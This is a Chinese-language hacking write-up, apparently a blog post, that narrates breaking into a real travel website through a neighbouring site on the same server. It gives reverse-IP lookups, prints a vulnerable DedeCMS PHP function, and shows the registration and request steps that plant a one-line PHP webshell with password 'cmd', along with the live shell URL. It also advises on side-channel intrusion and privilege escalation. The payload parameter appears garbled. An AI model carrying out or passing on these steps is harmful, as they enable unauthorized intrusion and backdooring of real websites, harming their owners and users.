大家好，有好長時間沒有寫檢測方面的文章了。今天，受朋友之托檢測一個網站，下面和大家一起分享其中的檢測過程，希望大家能在文章中學到一些東西。開始我們的檢測之旅吧！

一、劍行直下

今天要檢測的網站叫中國戶外旅游網，網站網址是http://www.hikers.cn/，網站主要是為全國各地網友尋找全球最優秀生態旅游景區，其實就是為戶外運動、旅游提供說明指導的網站。我們先來看看網站結構，網站有論壇、blog、網址大全、機票、酒店、度假等模塊，其中論壇用的是dz6.0論壇，聽說dz6.0有0day，可惜我是窮人買不起0day，論壇大致看了下沒辦法入手。再看看blog程序，暈！blog打不開，無語。再看看網址大全，也沒發現什么問題。機票、酒店、度假這三個模塊全是鏈接的攜程網，再次無語。剩下只有網站的新聞系統了，看看了新聞系統，全部生成的靜態頁面，而且還沒發現它新聞系統使用的什么程序，郁悶中。看樣子劍行直上沒有辦法了，那我們來看看服務器上的其它網站，來一次劍走偏鋒吧！

二、劍走偏鋒

首先，我們來查查這個服務器上放了多少個網站，服務器IP地址是222.216.28.235，通過ip域名查詢網站http://www.seologs.com/，我們得知服務器上存放了5個站點。

圖1

這個站原來有一段時間不能用，是因為國內查詢的人太多了，屏蔽了國內IP，如果以后大家碰到不能查詢的情況，可以用國外IP代理查詢。

根據我的經驗，這臺服務器上只放了5個站，應該是網站建設者自己在經營和維護，這種服務器的權限設置比那種放了上百個域名的虛擬主機權限差的多，提權成功率也比虛擬主機的高，當大家碰到一查詢就是上百個域名的虛擬主機時，能從主站入手就想辦法從主站入手，旁注即使能成功，也很難拿到主站的權限。旁注是無奈之舉，能直接拿主站就從主站入手，旁注是最后的辦法，大家一定要記住。

我們來認真看看51maihuo.com和uutxx.com這兩個站，打開一看才發現這兩個域名都是同一個站，這個網站是個介紹美食的網站，大致看了下，也沒發現什么問題，而且還沒弄明白用的什么程序，此時非常郁悶。冷靜的想了一會，這個服務器上不應該只有兩個網站啊，換了個ip域名查詢網站http://www.114best.com/，查詢結果顯示，除了上面兩個網站外，服務器上還有一個網站。

圖2

網址是http://www.travelren.net，網站主要是介紹旅游線路以及旅游景點。網站布局好像有點似曾相識的感覺，好像是織夢內容管理系統，馬上在網址后面加上member，出現了用戶登錄框。

圖3

果然是織夢內容系統，這段時間織夢爆出了漏洞，我在本地測試過幾次，我說布局怎么這么熟呢！最近織夢內容系統剛爆出過一個寫入網馬的漏洞，前提是服務器開放會員系統，而且有圖書連載里有類別。漏洞文件出現在include\inc_bookfunctions.php文件中，代碼如下：

function WriteBookText($cid,$body) 
{ 
global $cfg_cmspath,$cfg_basedir; 
$ipath = $cfg_cmspath."/data/textdata"; 
$tpath = ceil($cid/5000); 
if(!is_dir($cfg_basedir.$ipath)) MkdirAll($cfg_basedir.$ipath,$GLOBALS
['cfg_dir_purview']); 
if(!is_dir($cfg_basedir.$ipath.'/'.$tpath)) MkdirAll($cfg_basedir.$ipath.
'/'.$tpath,$GLOBALS['cfg_dir_purview']); 
$bookfile = $cfg_basedir.$ipath."/{$tpath}/bk{$cid}.php"; 
$body = "<"."?php\r\n".$body."\r\n?".">"; 
@$fp = fopen($bookfile,'w'); 
@flock($fp); 
@fwrite($fp,$body); 
@fclose($fp); 
} 
member\story_add_content_action.php 
WriteBookText($arcID,addslashes($body));

中代碼中我們可以看到，只是用addslashes進行了轉義。但是$body = "<"."?
php\r\n".$body."\r\n?".">";很明顯可以寫入一個小馬的。

我們先來訪問http://www.travelren.net/member/index_do.php?fmdo=user&dopost=regnew注冊一個新用戶，然后，利用注冊的新用戶登錄，會員系統圖書連載里有類別，馬上提交，

http://www.hikers.cn/member/story_add_content_action.php?chapterid=1&arcID=2&body=?>]);?>

就會在data\textdata\目錄下生成小馬，默認為data\textdata\1\bk1.php，如果有人利用過這個漏洞，每提交一次文件名就會加一，經過我測試我上傳的小馬地址為http://www.hikers.cn/data/textdata/1/bk9.php，網馬為lanker一句馬，密碼為：cmd，我們來用lanker客戶端進行連接。

圖4